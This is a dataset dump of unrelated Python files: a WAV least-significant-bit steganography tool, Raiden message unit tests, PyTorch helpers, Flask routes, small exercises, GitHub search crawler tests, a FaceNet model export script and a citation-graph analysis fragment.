len(header) != 16:\n raise HeaderDamageError\n # raise WavExceptions.HeaderDamagedError\n self.audio_format = int.from_bytes(header[:2], 'little')\n self.num_channels = int.from_bytes(header[2:4], 'little')\n self.sample_rate = int.from_bytes(header[4:8], 'little')\n self.byte_rate = int.from_bytes(header[8:12], 'little')\n self.block_align = int.from_bytes(header[12:14], 'little')\n self.bits_per_sample = int.from_bytes(header[14:16], 'little')\n\n\nclass WavFile:\n def __init__(self, wav_path):\n self.path = wav_path\n try:\n with open(wav_path, 'rb') as wav_file:\n self.chunk_id = wav_file.read(4).decode('utf-8')\n self.chunk_size = int.from_bytes(wav_file.read(4), 'little')\n self.format = wav_file.read(4).decode('utf-8')\n\n if self.chunk_id != 'RIFF' or self.format != 'WAVE':\n raise NotWaveError\n\n wav_file.read(4)\n header_chunk_size = int.from_bytes(wav_file.read(4), 'little')\n header = wav_file.read(header_chunk_size)\n self.header = WavHeader(header)\n\n self.data_size = -1\n self.data_offset = -1\n offset = 36\n file_data = b''\n\n while b'data' not in file_data:\n byte = wav_file.read(1)\n if not byte:\n raise NoDataChunckError\n file_data += byte\n offset += 1\n\n offset += 4\n self.data_size = int.from_bytes(wav_file.read(4), 'little')\n self.data_offset = offset\n except FileNotFoundError:\n print_if_need('ERROR: Wave file not found', file=sys.stderr)\n except IOError:\n print_if_need('File is avalable for reading', file=sys.stderr)\n except WavExceptions as e:\n print_if_need('ERROR:', e.args[0], file=sys.stderr)\n\n\ndef show_process_status(process_function):\n def wrapped(*args):\n print_if_need('Processing... Please, wait.')\n process_function(*args)\n print_if_need('Done!')\n\n return wrapped\n\n\nclass WavSteganography:\n BUFFER_SIZE = 64 * 1024 ** 2\n\n @staticmethod\n def injected(wave_block, sample_size, injection_byte, lsb_count):\n changed_wave_block = b''\n last_bits_getting_pattern = 2 ** lsb_count - 1\n last_bits_zeroing_pattern = 0b11111111 - last_bits_getting_pattern\n for i in range(8 // lsb_count):\n changed_byte = wave_block[0] & last_bits_zeroing_pattern\n changed_byte += injection_byte & last_bits_getting_pattern\n changed_wave_block += bytes([changed_byte])\n changed_wave_block += wave_block[1:sample_size]\n wave_block = wave_block[sample_size:]\n injection_byte >>= lsb_count\n return changed_wave_block\n\n @staticmethod\n def extracted(changed_wave_block, sample_size, lsb_count):\n extracted_byte = 0\n last_bits_getting_pattern = 2 ** lsb_count - 1\n for i in range(len(changed_wave_block) // sample_size):\n last_bits = changed_wave_block[0] & last_bits_getting_pattern\n extracted_byte += last_bits << (lsb_count * i)\n changed_wave_block = changed_wave_block[sample_size:]\n return bytes([extracted_byte])\n\n @staticmethod\n def write_injection(wave, wave_buffer, injection,\n destination_buffer, lsb_count):\n sample_size = wave.header.bits_per_sample // 8\n for injection_byte in injection:\n wave_block = wave_buffer.read(sample_size * (8 // lsb_count))\n destination_buffer.write(WavSteganography.injected(\n wave_block, sample_size, injection_byte, lsb_count))\n\n @staticmethod\n @show_process_status\n def lsb_write(wave, files, destination, lsb_count):\n buffer_size = WavSteganography.BUFFER_SIZE\n with Buffer(wave.path, 'rb', buffer_size) as wave_buffer:\n with Buffer(destination, 'ab', buffer_size) as destination_buffer:\n # Just to simplify coding\n def write_injection(injection, inner_lsb_count):\n WavSteganography.write_injection(\n wave,\n wave_buffer,\n injection, destination_buffer,\n inner_lsb_count)\n\n # Writing unchangeable data before 'data' block in wav\n prefix_data = wave_buffer.read(wave.data_offset)\n destination_buffer.write(prefix_data)\n\n # Writing count of LSB bits and count of files\n # using 2 bits LSB writing\n write_injection(bytes([lsb_count]), 2)\n write_injection(bytes([len(files)]), 2)\n\n # Writing files\n for filename in files:\n write_injection(FilePackage.packed(filename), lsb_count)\n\n # Writing the rest part of wav (unchangeable or/and unchanged)\n while True:\n rest = wave_buffer.read(buffer_size)\n if rest is None:\n break\n destination_buffer.write(rest)\n\n @staticmethod\n def read_injection(changed_wave_buffer, count_of_bytes,\n sample_size, lsb_count):\n data = b''\n for i in range(count_of_bytes):\n block_size = sample_size * (8 // lsb_count)\n changed_wave_block = changed_wave_buffer.read(block_size)\n data += WavSteganography.extracted(changed_wave_block,\n sample_size, lsb_count)\n return data\n\n @staticmethod\n @show_process_status\n def lsb_read(changed_wave):\n buffer_size = WavSteganography.BUFFER_SIZE\n with Buffer(changed_wave.path, 'rb', buffer_size) \\\n as changed_wave_buffer:\n changed_wave_buffer.file.seek(changed_wave.data_offset)\n\n def read_injection(count_of_bytes, inner_lsb_count):\n return WavSteganography.read_injection(\n changed_wave_buffer,\n count_of_bytes,\n sample_size,\n inner_lsb_count\n )\n\n sample_size = changed_wave.header.bits_per_sample // 8\n lsb_count = int.from_bytes(read_injection(1, 2), 'big')\n files_count = int.from_bytes(read_injection(1, 2), 'big')\n\n root_directory = 'FROM_WAVE'\n if not os.path.exists(root_directory):\n os.makedirs(root_directory)\n\n for i in range(files_count):\n size = int.from_bytes(read_injection(2, lsb_count), 'big')\n length_of_name = int.from_bytes(\n read_injection(1, lsb_count), 'big'\n )\n filename = read_injection(\n length_of_name, lsb_count\n ).decode('utf-8')\n crc32_expected = int.from_bytes(\n read_injection(4, lsb_count), 'big'\n )\n with open(os.path.join(root_directory, filename), 'wb') \\\n as file:\n file.write(read_injection(size, lsb_count))\n with open(os.path.join(root_directory, filename), 'rb') \\\n as file:\n crc32_actual = zlib.crc32(file.read())\n print_if_need(\n '[OK]' if crc32_expected == crc32_actual else '[X]',\n filename, '(expected: {0} , actual: {1})'.format(\n crc32_expected, crc32_actual\n )\n )\n\n\nclass FilePackage:\n @staticmethod\n def packed(filename):\n size = os.path.getsize(filename).to_bytes(2, 'big')\n length_of_name = len(filename).to_bytes(1, 'big')\n with open(filename, 'rb') as file:\n data = file.read()\n crc32 = zlib.crc32(data).to_bytes(4, 'big')\n return size + length_of_name + filename.encode('utf-8') + crc32 + data\n\n\ndef info(wave_path):\n wave = WavFile(wave_path)\n bytes_per_sample = wave.header.bits_per_sample // 8\n lsb_counts = [1, 2, 4, 8]\n available_sizes = {}\n for lsb_count in lsb_counts:\n bytes_per_injection_byte = 8 / lsb_count * bytes_per_sample\n injection_max_size = (wave.data_size - bytes_per_injection_byte * 2)\n injection_max_size //= bytes_per_injection_byte\n available_sizes[lsb_count] = int(injection_max_size)\n return available_sizes\n\n\ndef md5(path):\n buffer_size = 64 * 1024 ** 2\n hash_md5 = hashlib.md5()\n with Buffer(path, 'rb', buffer_size) as file:\n block = file.read(buffer_size)\n hash_md5.update(block)\n return hash_md5.hexdigest()\n\n\ndef print_if_need(*to_print, sep='/n'):\n if not silence:\n print(*to_print, sep=sep)\n\n\ndef main():\n # sys.argv = [''] + '-mode I -i secret.txt\n # -i archive.zip -w music.wav -s changed.wav -lc 2'.split()\n # sys.argv = [''] + '-mode E -s changed.wav'.split()\n # sys.argv = [''] + '-w music.wav -check'.split()\n global silence\n parser = argparse.ArgumentParser()\n parser.add_argument('--mode', dest='mode',\n help='Modes: injection or extraction (I/i or E/e)')\n parser.add_argument('-i', action='append', dest='files',\n help='Name of injection file')\n parser.add_argument('-w', dest='wav_path', help='Path of WAVE file')\n parser.add_argument('-s', dest='stegano_path',\n help='Path of stegano file')\n parser.add_argument('--lc', dest='lsb_count',\n help='Count of LSB bits', type=int)\n parser.add_argument('--check', action='count', dest='check_info',\n help='Max sizes corresponding to count of LSB bit')\n parser.add_argument('--sm', dest='silent_mode',\n help='True silent, False not silent',\n action='store_true', default=False)\n namespace = parser.parse_args()\n silence = namespace.silent_mode\n\n if namespace.check_info is not None and namespace.wav_path is not None:\n lsb_sizes = info(namespace.wav_path)\n for key in lsb_sizes:\n print_if_need(key, '-', lsb_sizes[key],\n 'bytes (~%.2f MBytes)' % (\n lsb_sizes[key] / 1024 ** 2))\n return\n\n arguments_correct = True\n if namespace.mode is not None:\n if namespace.mode in 'Ii':\n if (namespace.files is None or\n namespace.wav_path is None or\n namespace.stegano_path is None or\n namespace.lsb_count is None):\n arguments_correct = False\n elif namespace.mode in 'Ee':\n if namespace.stegano_path is None:\n arguments_correct = False\n else:\n arguments_correct = False\n else:\n arguments_correct = False\n\n if not arguments_correct:\n print_if_need('ERROR: Check arguments and their count')\n return\n\n if namespace.mode in 'Ii':\n wave = WavFile(namespace.wav_path)\n WavSteganography.lsb_write(\n wave, namespace.files,\n namespace.stegano_path, namespace.lsb_count\n )\n\n print_if_need('MD5 hash of WAVE-file:', md5(namespace.wav_path))\n print_if_need('MD5 hash of stegano-file:', md5(namespace.stegano_path))\n\n elif namespace.mode in 'Ee':\n changed_wave = WavFile(namespace.stegano_path)\n WavSteganography.lsb_read(changed_wave)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"wave_ideal.py","file_name":"wave_ideal.py","file_ext":"py","file_size_in_byte":13434,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"32054479","text":"# -*- coding: utf-8 -*-\n\nimport pytest\n\nfrom raiden.messages import (\n decode,\n Ack,\n Ping,\n)\nfrom raiden.utils import make_privkey_address, sha3\nfrom raiden.tests.utils.messages import (\n make_direct_transfer,\n make_lock,\n make_mediated_transfer,\n make_refund_transfer,\n MEDIATED_TRANSFER_INVALID_VALUES,\n REFUND_TRANSFER_INVALID_VALUES,\n DIRECT_TRANSFER_INVALID_VALUES,\n)\n\nPRIVKEY, ADDRESS = make_privkey_address()\n\n\ndef test_signature():\n ping = Ping(nonce=0)\n ping.sign(PRIVKEY, ADDRESS)\n assert ping.sender == ADDRESS\n\n\ndef test_encoding():\n ping = Ping(nonce=0)\n ping.sign(PRIVKEY, ADDRESS)\n decoded_ping = decode(ping.encode())\n assert isinstance(decoded_ping, Ping)\n assert decoded_ping.sender == ADDRESS == ping.sender\n assert ping.nonce == decoded_ping.nonce\n assert ping.signature == decoded_ping.signature\n assert ping.cmdid == decoded_ping.cmdid\n assert ping.hash == decoded_ping.hash\n\n\ndef test_hash():\n ping = Ping(nonce=0)\n ping.sign(PRIVKEY, ADDRESS)\n data = ping.encode()\n msghash = sha3(data)\n decoded_ping = decode(data)\n assert sha3(decoded_ping.encode()) == msghash\n\n\ndef test_ack():\n echo = sha3(PRIVKEY)\n ack = Ack(ADDRESS, echo)\n assert ack.echo == echo\n data = ack.encode()\n msghash = sha3(data)\n decoded_ack = decode(data)\n assert decoded_ack.echo == ack.echo\n assert decoded_ack.sender == ack.sender\n assert sha3(decoded_ack.encode()) == msghash\n\n\n@pytest.mark.parametrize('amount', [-1, 2 ** 256])\n@pytest.mark.parametrize(\n 'make',\n [\n make_lock,\n make_mediated_transfer,\n ]\n)\ndef test_amount_out_of_bounds(amount, make):\n with pytest.raises(ValueError):\n make(amount=amount)\n\n\n@pytest.mark.parametrize('identifier', [0, 2 ** 64 - 1])\n@pytest.mark.parametrize('nonce', [1, 2 ** 64 - 1])\n@pytest.mark.parametrize('transferred_amount', [0, 2 ** 256 - 1])\ndef test_direct_transfer_min_max(identifier, nonce, transferred_amount):\n direct_transfer = make_direct_transfer(\n identifier=identifier,\n nonce=nonce,\n transferred_amount=transferred_amount,\n )\n\n direct_transfer.sign(PRIVKEY, ADDRESS)\n assert decode(direct_transfer.encode()) == direct_transfer\n\n\n@pytest.mark.parametrize('amount', [0, 2 ** 256 - 1])\n@pytest.mark.parametrize('identifier', [0, 2 ** 64 - 1])\n@pytest.mark.parametrize('nonce', [1, 2 ** 64 - 1])\n@pytest.mark.parametrize('transferred_amount', [0, 2 ** 256 - 1])\n@pytest.mark.parametrize('fee', [0, 2 ** 256 - 1])\ndef test_mediated_transfer_min_max(amount, identifier, fee, nonce, transferred_amount):\n mediated_transfer = make_mediated_transfer(\n amount=amount,\n identifier=identifier,\n nonce=nonce,\n fee=fee,\n transferred_amount=transferred_amount,\n )\n\n mediated_transfer.sign(PRIVKEY, ADDRESS)\n assert decode(mediated_transfer.encode()) == mediated_transfer\n\n\n@pytest.mark.parametrize('amount', [0, 2 ** 256 - 1])\n@pytest.mark.parametrize('identifier', [0, 2 ** 64 - 1])\n@pytest.mark.parametrize('nonce', [1, 2 ** 64 - 1])\n@pytest.mark.parametrize('transferred_amount', [0, 2 ** 256 - 1])\ndef test_refund_transfer_min_max(amount, identifier, nonce, transferred_amount):\n refund_transfer = make_refund_transfer(\n amount=amount,\n identifier=identifier,\n nonce=nonce,\n transferred_amount=transferred_amount,\n )\n\n refund_transfer.sign(PRIVKEY, ADDRESS)\n assert decode(refund_transfer.encode()) == refund_transfer\n\n\n@pytest.mark.parametrize('args', MEDIATED_TRANSFER_INVALID_VALUES)\ndef test_mediated_transfer_out_of_bounds_values(args):\n with pytest.raises(ValueError):\n make_mediated_transfer(**args)\n\n\n@pytest.mark.parametrize('args', REFUND_TRANSFER_INVALID_VALUES)\ndef test_refund_transfer_out_of_bounds_values(args):\n with pytest.raises(ValueError):\n make_refund_transfer(**args)\n\n\n@pytest.mark.parametrize('args', DIRECT_TRANSFER_INVALID_VALUES)\ndef test_direct_transfer_out_of_bounds_values(args):\n with pytest.raises(ValueError):\n make_direct_transfer(**args)\n","sub_path":"raiden/raiden/tests/unit/test_messages.py","file_name":"test_messages.py","file_ext":"py","file_size_in_byte":4108,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"192802716","text":"import math\nfrom typing import List\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.nn.modules.utils import _ntuple\n\n__all__ = [\n \"cat\",\n \"interpolate\",\n \"make_divisible\",\n \"nonzero_tuple\",\n]\n\n\ndef cat(tensors: List[torch.Tensor], dim: int = 0):\n assert isinstance(tensors, (list, tuple))\n\n if len(tensors) == 1:\n return tensors[0]\n return torch.cat(tensors, dim)\n\n\ndef make_divisible(v, divisor=8, min_value=None):\n if min_value is None:\n min_value = divisor\n new_v = max(min_value, int(v + divisor / 2) // divisor * divisor)\n if new_v < 0.9 * v:\n new_v += divisor\n return new_v\n\n\nclass _NewEmptyTensorOp(torch.autograd.Function):\n @staticmethod\n def forward(ctx, x, new_shape):\n ctx.shape = x.shape\n return x.new_empty(new_shape)\n\n @staticmethod\n def backward(ctx, grad):\n shape = ctx.shape\n return _NewEmptyTensorOp.apply(grad, shape), None\n\n\ndef interpolate(input, size=None, scale_factor=None, mode=\"nearest\", align_corners=None):\n if input.numel() > 0:\n return torch.nn.functional.interpolate(\n input,\n size,\n scale_factor,\n mode,\n align_corners=align_corners\n )\n\n def _check_size_scale_factor(dim):\n if size is None and scale_factor is None:\n raise ValueError(\"either size or scale_factor should be defined\")\n if size is not None and scale_factor is not None:\n raise ValueError(\"only one of size or scale_factor should be defined\")\n if (\n scale_factor is not None\n and isinstance(scale_factor, tuple)\n and len(scale_factor) != dim\n ):\n raise ValueError(\n \"scale_factor shape must match input shape. \"\n \"Input is {}D, scale_factor size is {}\".format(dim, len(scale_factor))\n )\n\n def _output_size(dim):\n _check_size_scale_factor(dim)\n if size is not None:\n return size\n scale_factors = _ntuple(dim)(scale_factor)\n return [math.floor(input.size(i + 2) * scale_factors[i]) for i in range(dim)]\n\n output_shape = tuple(_output_size(2))\n output_shape = input.shape[:-2] + output_shape\n return _NewEmptyTensorOp.apply(input, output_shape)\n\n\ndef nonzero_tuple(x):\n if x.dim() == 0:\n return x.unsqueeze(0).nonzero().unbind(1)\n return x.nonzero().unbind(1)\n","sub_path":"tkdet/layers/misc.py","file_name":"misc.py","file_ext":"py","file_size_in_byte":2452,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"639303981","text":"\"\"\"\nRoutes and views for the flask application.\n\"\"\"\n\nfrom datetime import datetime\nfrom FlaskWebProject1 import app\nfrom flask import Flask, redirect, url_for, request, render_template\n\nimport pandas as pd\n\nfrom FlaskWebProject1.workflow import KaliClass\n\n#these are the list of message holders\n#kali_msg_list = []\n\nwf_datalog = KaliClass.WF_Datalogger()\n\n@app.route('/kali',methods = ['POST', 'GET'])\ndef mykali() :\n\n global wf_datalog\n \n if request.method == 'POST':\n\n mydata = {}\n mydata['wfid'] = request.form['wfid']\n mydata['status'] = 'pending'\n mydata['node'] = request.form['node']\n mydata['data'] = request.form['data']\n\n wf_datalog.add(mydata)\n \n return 'post success'\n\n else:\n\n mydata = {}\n mydata['wfid'] = request.args.get('wfid')\n mydata['status'] = 'pending'\n mydata['node'] = request.args.get('node')\n mydata['data'] = request.args.get('data')\n\n wf_datalog.add(mydata)\n \n return 'get success'\n\n@app.route('/kali/display')\ndef display() :\n return render_template('wf_render.html',mydf=wf_datalog.debug_getdf())\n\n@app.route('/')\n@app.route('/home')\ndef home():\n \"\"\"Renders the home page.\"\"\"\n return render_template(\n 'index.html',\n title='Home Page',\n year=datetime.now().year,\n )\n\n@app.route('/contact')\ndef contact():\n \"\"\"Renders the contact page.\"\"\"\n return render_template(\n 'contact.html',\n title='Contact',\n year=datetime.now().year,\n message='Your contact page.'\n )\n\n@app.route('/about')\ndef about():\n \"\"\"Renders the about page.\"\"\"\n return render_template(\n 'about.html',\n title='About',\n year=datetime.now().year,\n message='Your application description page.'\n )\n\n@app.route('/test/')\ndef test(name):\n return 'test input %s ' % name\n\n","sub_path":"views-backup.py","file_name":"views-backup.py","file_ext":"py","file_size_in_byte":1893,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"285173925","text":"d1={'python':5, 'java':6, 'perl':2}\r\nd2={'c++':5,'angularjs':3,'python':3}\r\nd={}\r\nfor k,v in d2.items():\r\n d[k]=v\r\n\r\nfor k,v in d1.items():\r\n if(k in d2):\r\n d[k]= d[k]+v\r\n else:\r\n d[k]=v\r\n \r\nprint(d)\r\n","sub_path":"dict4.py","file_name":"dict4.py","file_ext":"py","file_size_in_byte":231,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"249074961","text":"# 좌표 정렬하기 2_중_정렬\n\nN = int(input())\n\nlst = []\nfor i in range(N):\n xy = list(map(int, input().split()))\n lst.append(xy)\n\n# lst.sort(key=lambda x: (x[1], x[0]))\n\nresult = sorted(lst, key=lambda x: (x[1], x[0]))\n\nfor j in result:\n print(str(j[0])+\" \"+str(j[1]))\n\n\n# 굉장히 오래걸림\n# import sys???\n# import stdin???\n# 이거 이용해서 풀면 빨라지는듯.. 뭔지모름","sub_path":"백준_알고리즘마라톤/20_11651.py","file_name":"20_11651.py","file_ext":"py","file_size_in_byte":405,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"139289962","text":"import random\nimport time\nimport unittest\nfrom types import GeneratorType\nfrom unittest import mock\n\nfrom .core import InputSerializer, Controller\nfrom .serializers import SearchSerializer\nfrom .controllers import SearchController\nfrom .crawlers import (\n RepositoriesParser,\n WikisParser,\n IssuesParser,\n SearchCrawler,\n get_parser_cls,\n)\n\n\nclass InputSerializerTestCase(unittest.TestCase):\n\n def test_fail_initialize_serializer(self):\n\n class TestSerialize(InputSerializer):\n pass\n\n try:\n TestSerialize().load({})\n except Exception as err:\n self.assertIsInstance(err, NotImplementedError)\n else:\n raise AssertionError('this test should throw an error')\n\n\nclass SearchSerializerTestCase(unittest.TestCase):\n\n def test_success_initialize_search_serializer(self):\n data = {\n 'keywords': ['test', 'test1'],\n 'proxies': ['192.168.0.1'],\n 'type': 'Repositories'\n }\n search_input = SearchSerializer.load(data)\n\n self.assertEqual(data['keywords'], search_input.keywords)\n self.assertEqual(data['proxies'], search_input.proxies)\n self.assertEqual(data['type'], search_input.type)\n\n def test_fail_initialize_search_serializer_missing_field(self):\n data = {\n 'keywords': ['test', 'test1'],\n 'proxies': ['192.168.0.1']\n }\n\n try:\n SearchSerializer.load(data)\n except Exception as err:\n self.assertIsInstance(err, TypeError)\n else:\n raise AssertionError('this test must throw an exception')\n\n def test_fail_initialize_search_serializer_unknown_field(self):\n data = {\n 'keywords': ['test', 'test1'],\n 'proxies': ['192.168.0.1'],\n 'type': 'Repositories',\n 'new_field': 'test'\n }\n\n try:\n SearchSerializer.load(data)\n except Exception as err:\n self.assertIsInstance(err, TypeError)\n else:\n raise AssertionError('this test must throw an exception')\n\n\nclass ControllerTestCase(unittest.TestCase):\n\n def test_fail_initialize_controller(self):\n\n class TestController(Controller):\n pass\n\n data = {\n 'keywords': ['test', 'test1'],\n 'proxies': ['192.168.0.1'],\n 'type': 'Repositories'\n }\n search_input = SearchSerializer.load(data)\n\n try:\n TestController(search_input).run()\n except Exception as err:\n self.assertIsInstance(err, NotImplementedError)\n else:\n raise AssertionError('this test should throw an error')\n\n\nclass SearchControllerTestCase(unittest.TestCase):\n\n def test_success_initialize_search_controller(self):\n data = {\n 'keywords': ['test', 'test1'],\n 'proxies': ['192.168.0.1'],\n 'type': 'Repositories'\n }\n\n controller = SearchController(input_data=data)\n\n self.assertEqual(controller.input_data['keywords'], data['keywords'])\n self.assertEqual(controller.input_data['proxies'], data['proxies'])\n self.assertEqual(controller.input_data['type'], data['type'])\n\n def test_fail_initialize_search_controller(self):\n data = {\n 'keywords': ['test', 'test1'],\n 'proxies': ['192.168.0.1']\n }\n\n try:\n SearchController(input_data=data).run()\n except Exception as err:\n self.assertIsInstance(err, TypeError)\n else:\n raise AssertionError('this test must throw an exception')\n\n @mock.patch('src.crawlers.SearchCrawler.process')\n def test_search_controller_process_success(self, urls):\n urls.return_value = (x for x in [{'url': 'test1'}, {'url': 'test1'}])\n\n data = {\n 'keywords': ['test', 'test1'],\n 'proxies': ['192.168.0.1'],\n 'type': 'Repositories'\n }\n\n controller = SearchController(input_data=data)\n resp = controller.run()\n self.assertEqual(resp, [{'url': 'test1'}, {'url': 'test1'}])\n\n\nclass SearchParserTestCase(unittest.TestCase):\n\n @classmethod\n def setUpClass(cls):\n cls.repo_input = SearchSerializer.load({\n 'keywords': [\"openstack\", \"nova\", \"css\"],\n 'proxies': [\"107.190.148.202:50854\", \"95.85.36.236:8080\"],\n 'type': 'Repositories'\n })\n cls.wiki_input = SearchSerializer.load({\n 'keywords': [\"openstack\", \"nova\", \"css\"],\n 'proxies': [\"107.190.148.202:50854\", \"95.85.36.236:8080\"],\n 'type': 'Wikis'\n })\n cls.issue_input = SearchSerializer.load({\n 'keywords': [\"openstack\", \"nova\", \"css\"],\n 'proxies': [\"107.190.148.202:50854\", \"95.85.36.236:8080\"],\n 'type': 'Issues'\n })\n\n def test_repositories_parser(self):\n for word in self.repo_input.keywords:\n time.sleep(3)\n proxy = random.choice(self.repo_input.proxies)\n parser = RepositoriesParser(word, self.repo_input.type, proxy)\n\n result = parser.execute()\n self.assertIsInstance(result, GeneratorType)\n\n list_result = list(result)\n self.assertIsNot(list_result, [])\n self.assertIn('url', list_result[0])\n\n def test_wikis_parser(self):\n for word in self.wiki_input.keywords:\n time.sleep(3)\n proxy = random.choice(self.wiki_input.proxies)\n parser = WikisParser(word, self.wiki_input.type, proxy)\n\n result = parser.execute()\n self.assertIsInstance(result, GeneratorType)\n\n list_result = list(result)\n self.assertIsNot(list_result, [])\n self.assertIn('url', list_result[0])\n\n def test_issues_parser(self):\n for word in self.issue_input.keywords:\n time.sleep(3)\n proxy = random.choice(self.issue_input.proxies)\n parser = IssuesParser(word, self.issue_input.type, proxy)\n\n result = parser.execute()\n self.assertIsInstance(result, GeneratorType)\n\n list_result = list(result)\n self.assertIsNot(list_result, [])\n self.assertIn('url', list_result[0])\n\n def test_get_parser_cls(self):\n parser = get_parser_cls('Repositories')\n self.assertEqual(parser, RepositoriesParser)\n\n parser = get_parser_cls('Wikis')\n self.assertEqual(parser, WikisParser)\n\n parser = get_parser_cls('Issues')\n self.assertEqual(parser, IssuesParser)\n\n parser = get_parser_cls('smth')\n self.assertEqual(parser, RepositoriesParser)\n\n\nclass CrawlerTestCase(unittest.TestCase):\n\n @classmethod\n def setUpClass(cls):\n cls.repo_input = SearchSerializer.load({\n 'keywords': [\"openstack\", \"nova\", \"css\"],\n 'proxies': [\"107.190.148.202:50854\", \"95.85.36.236:8080\"],\n 'type': 'Repositories'\n })\n cls.wiki_input = SearchSerializer.load({\n 'keywords': [\"openstack\", \"nova\", \"css\"],\n 'proxies': [\"107.190.148.202:50854\", \"95.85.36.236:8080\"],\n 'type': 'Wikis'\n })\n cls.issue_input = SearchSerializer.load({\n 'keywords': [\"openstack\", \"nova\", \"css\"],\n 'proxies': [\"107.190.148.202:50854\", \"95.85.36.236:8080\"],\n 'type': 'Issues'\n })\n\n @mock.patch('src.core.SearchParser.execute')\n def test_repositories_parser(self, value):\n value.return_value = (x for x in [{'url': 'test'}])\n\n crawler = SearchCrawler(self.repo_input)\n result = crawler.process()\n self.assertIsInstance(result, GeneratorType)\n\n list_result = list(result)\n self.assertIsNot(list_result, [])\n self.assertIn('url', list_result[0])\n\n @mock.patch('src.core.SearchParser.execute')\n def test_wikis_parser(self, value):\n value.return_value = (x for x in [{'url': 'test'}])\n\n crawler = SearchCrawler(self.wiki_input)\n result = crawler.process()\n self.assertIsInstance(result, GeneratorType)\n\n list_result = list(result)\n self.assertIsNot(list_result, [])\n self.assertIn('url', list_result[0])\n\n @mock.patch('src.core.SearchParser.execute')\n def test_issues_parser(self, value):\n value.return_value = (x for x in [{'url': 'test'}])\n\n crawler = SearchCrawler(self.issue_input)\n result = crawler.process()\n self.assertIsInstance(result, GeneratorType)\n\n list_result = list(result)\n self.assertIsNot(list_result, [])\n self.assertIn('url', list_result[0])\n","sub_path":"src/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":8663,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"584305295","text":"'''\nThis file is used for convert the pretrained inception-resnet-v1 model to a SavedModel(Which is used by tensorflow serving)\n'''\nimport os\n\nfrom fake_facenet.inception_resnet_v1 import *\n\nEXPORT_PATH = './tf_serving_model/'\nMODEL_VERSION = 1\n\nINPUT_SIZE = 160 # the shape of input of inception-resnet-v1 is batch_size,160,160,3\nPB_PATH = './pretrained_model/20170512-110547.pb'\nGRAPH_META_PATH = './pretrained_model/model-20170512-110547.meta'\nCHECKPOINT_FILE = './pretrained_model/model-20170512-110547.ckpt-250000'\n\n\ndef load_graph_from_ckpt():\n saver = tf.train.import_meta_graph(GRAPH_META_PATH)\n # saver = tf.train.Saver()\n saver.restore(tf.get_default_session(), CHECKPOINT_FILE)\n\n\ndef load_graph_from_pb():\n with tf.gfile.GFile(PB_PATH, \"rb\") as f:\n graph_def = tf.GraphDef()\n graph_def.ParseFromString(f.read())\n tf.import_graph_def(graph_def)\n\n\ndef main():\n with tf.Graph().as_default():\n with tf.Session() as sess:\n load_graph_from_pb()\n\n # Get placeholders from the graph\n images_placeholder = tf.get_default_graph().get_tensor_by_name(\"import/input:0\")\n embeddings = tf.get_default_graph().get_tensor_by_name(\"import/embeddings:0\")\n phase_train_placeholder = tf.get_default_graph().get_tensor_by_name(\"import/phase_train:0\")\n\n # export model to savedmodel\n\n # This is an path string like './model/1'\n export_model_path = os.path.join(EXPORT_PATH, str(MODEL_VERSION))\n print('Model saved to:', export_model_path)\n builder = tf.saved_model.builder.SavedModelBuilder(export_model_path)\n\n # SavedModel need tensor info like dtype and shape, this method build tensor_info protobuf for us.\n # For we need build tensor_info protobuf for all the input and output tensor.\n tensor_info_x = tf.saved_model.utils.build_tensor_info(images_placeholder)\n tensor_info_train = tf.saved_model.utils.build_tensor_info(phase_train_placeholder)\n tensor_info_y = tf.saved_model.utils.build_tensor_info(embeddings)\n\n # a signature here is like a method signature used for gRPC call.\n # we need specify the input, out, put and method name.\n prediction_signature = (\n tf.saved_model.signature_def_utils.build_signature_def(\n inputs={'images': tensor_info_x, 'is_training': tensor_info_train},\n outputs={'scores': tensor_info_y},\n method_name=tf.saved_model.signature_constants.PREDICT_METHOD_NAME))\n\n # build the model with previous signatrue, I only have one signature, so I make it the default one.\n # the legacy_init_op is used for compatibility with model generated by tf<1.2\n legacy_init_op = tf.group(tf.tables_initializer(), name='legacy_init_op')\n builder.add_meta_graph_and_variables(\n sess, [tf.saved_model.tag_constants.SERVING],\n signature_def_map={\n tf.saved_model.signature_constants.DEFAULT_SERVING_SIGNATURE_DEF_KEY:\n prediction_signature,\n },\n legacy_init_op=legacy_init_op)\n\n builder.save()\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"fake_facenet/convert_pretrained_model_to_savedModel.py","file_name":"convert_pretrained_model_to_savedModel.py","file_ext":"py","file_size_in_byte":3306,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"262515705","text":"from collections import defaultdict\nimport operator\nimport json\nimport cPickle as pickle\n\nfrom snap import *\n\nG1=TUNGraph.New()\n\nwith open(\"nodes.txt\",\"r\") as node:\n\tfor line in node:\n\t\tG1.AddNode(int(line[:-1]))\n\nwith open(\"edges.txt\",\"r\") as edge:\n\tfor line in edge:\n\t\tentry=line[:-1].split(\"\\t\")\n\t\tG1.AddEdge(int(entry[0]),int(entry[1]))\n\n################## Citation Count Dictionary ###################\nwith open('26J_paperCitationCount_10years.json', 'r') as fp1:\n paperCitationCount = json.load(fp1)\n\n################## Citing Author Publication Count Dictionary ###################\nwith open('13A_maxEachCiterAuthorPC.json', 'r') as fp2:\n paperAuthorPC = json.load(fp2)\n\n##################paperAuthor dictionary###################\nwith open('paperAuthor.json', 'r') as fp3:\n paperAuthor = json.load(fp3)\n\n#################################################################################\ndef median(l):\n\tl.sort()\n\tsz=len(l)\n\tif sz%2==0:\n\t\treturn float((l[sz/2]+l[sz/2-1])/2)\n\treturn float(l[sz/2])\n\ndef mean(l):\n\ts=0\n\tsz=len(l)\n\tif sz==0:\n\t\treturn 0\n\treturn float(sum(l)/sz)\n\n###################################################################################\n\n# 